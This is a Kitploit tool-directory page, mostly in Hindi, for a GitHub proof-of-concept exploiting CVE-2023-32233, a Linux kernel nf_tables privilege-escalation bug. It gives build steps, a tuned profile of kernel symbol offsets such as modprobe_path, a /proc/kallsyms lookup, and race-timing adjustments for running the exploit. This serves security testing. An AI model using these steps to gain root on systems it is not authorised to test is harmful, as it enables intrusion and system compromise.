Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-32233 — CVE-2023-32233: Linux内核中的安全漏洞 | Kitploit
उपकरण/GitHubGitHub/liuk3r/cve-2023-32233
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHubliuk3r/cve-2023-32233

CVE-2023-32233

CVE-2023-32233: Linux内核中的安全漏洞

रिपॉजिटरी देखें
382783 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

निर्माण और कॉन्फ़िगरेशन

नीचे दिए गए निर्देश Ubuntu 23.04 (Lunar Lobster) के तहत परीक्षण किए गए थे।

GIF 2023-5-16 12-28-46

बिल्ड निर्भरताएँ स्थापित करना

बिल्ड निर्भरताएँ स्थापित करने के लिए निम्नलिखित कमांड चलाएँ:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

बाइनरी बनाना

PoC बाइनरी बनाने के लिए निम्नलिखित कमांड चलाएँ:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

प्रोफ़ाइल अपडेट करना

अंतर्निहित प्रोफ़ाइल में Linux कर्नेल के लिए विशिष्ट पैरामीटर हैं जो Ubuntu 23.04 (Lunar Lobster) से निम्नलिखित पैकेजों के रूप में वितरित किए गए हैं:

  • "linux-image-6.2.0-20-generic", version "6.2.0-20.20", और
  • "linux-modules-6.2.0-20-generic", version "6.2.0-20.20".

अंतर्निहित प्रोफ़ाइल इस प्रकार दिखती है:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

कर्नेल प्रतीक

अन्य Linux कर्नेल के साथ परीक्षण करते समय अंतर्निहित प्रोफ़ाइल को ओवरराइड करने के लिए वैकल्पिक चरण:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

मशीन कोड

कर्नेल बेस खोजने के लिए हम कर्नेल मेमोरी में nf_tables.ko इमेज की जाँच करते हैं। और विशेष रूप से, हम nft_counter_destroy() सबरूटीन के मशीन कोड का विश्लेषण करते हैं। इसका मतलब है कि हमारी विधि कंपाइलर और संकलन विकल्पों दोनों के प्रति संवेदनशील है। हालाँकि, सभी सामान्य मामलों को अंतर्निहित प्रोफ़ाइल को ओवरराइड करके नियंत्रित किया जा सकता है।

उदाहरण के लिए, nft_counter_destroy() सबरूटीन का मशीन कोड इस प्रकार दिख सकता है:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

उपरोक्त मामले में हम कॉन्फ़िगरेशन फ़ाइल "profile" में नीचे दी गई तीन पंक्तियों को जोड़कर कुछ पैरामीटर निर्दिष्ट कर सकते हैं।

सबसे पहले, हम free_percpu विस्थापन से पहले के dword के ऑफ़सेट को पुनर्परिभाषित करते हैं:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

जहाँ मान 5 को अभिव्यक्ति (1e31d - 1e310) - 8 का उपयोग करके गणना किया गया था।

एक सत्यापन जांच के रूप में, हम फिर निम्नलिखित मास्क का उपयोग करके उपरोक्त ऑफ़सेट पर dword को मान्य करते हैं:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

निम्नलिखित मान की अपेक्षा करते हुए:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

रेस ट्यूनिंग

कमजोरी का शोषण करने के लिए Linux कर्नेल से बैकग्राउंड वर्कर थ्रेड के साथ एक रेस जीतना आवश्यक है। अंतर्निहित प्रोफ़ाइल को मोबाइल Sandy Bridge और डेस्कटॉप Comet Lake सहित Intel माइक्रोप्रोसेसरों की एक विस्तृत श्रृंखला पर उस रेस को जीतने की संभावना को अधिकतम करने के लिए ट्यून किया गया है। हालाँकि, कुछ माइक्रोप्रोसेसरों को अतिरिक्त ट्यूनिंग की आवश्यकता होती है। उदाहरण के लिए, हमने कुछ सेटअपों में Alder Lake के तहत कार्यों को स्विच करने में विलंबता में वृद्धि देखी, जहाँ "profile" में निम्नलिखित पंक्ति जोड़ना आवश्यक हो सकता है:

root@kitploit:~
400                 race_lead_sleep

हमने निष्क्रिय बेयर-मेटल सिस्टम का उपयोग करने वाले अपने परीक्षणों में कमजोरी का सफलतापूर्वक शोषण करने की 80% या बेहतर संभावना मापी।

परीक्षण अनुशंसाएँ

एक बार PoC एक कमजोर सिस्टम पर शुरू हो जाता है, तो यह उस सिस्टम को दूषित कर्नेल मेमोरी के साथ अस्थिर स्थिति में छोड़ सकता है। हम संभावित डेटा भ्रष्टाचार से बचने के लिए PoC को एक समर्पित सिस्टम पर परीक्षण करने की दृढ़ता से अनुशंसा करते हैं।

टूल डाउनलोड करें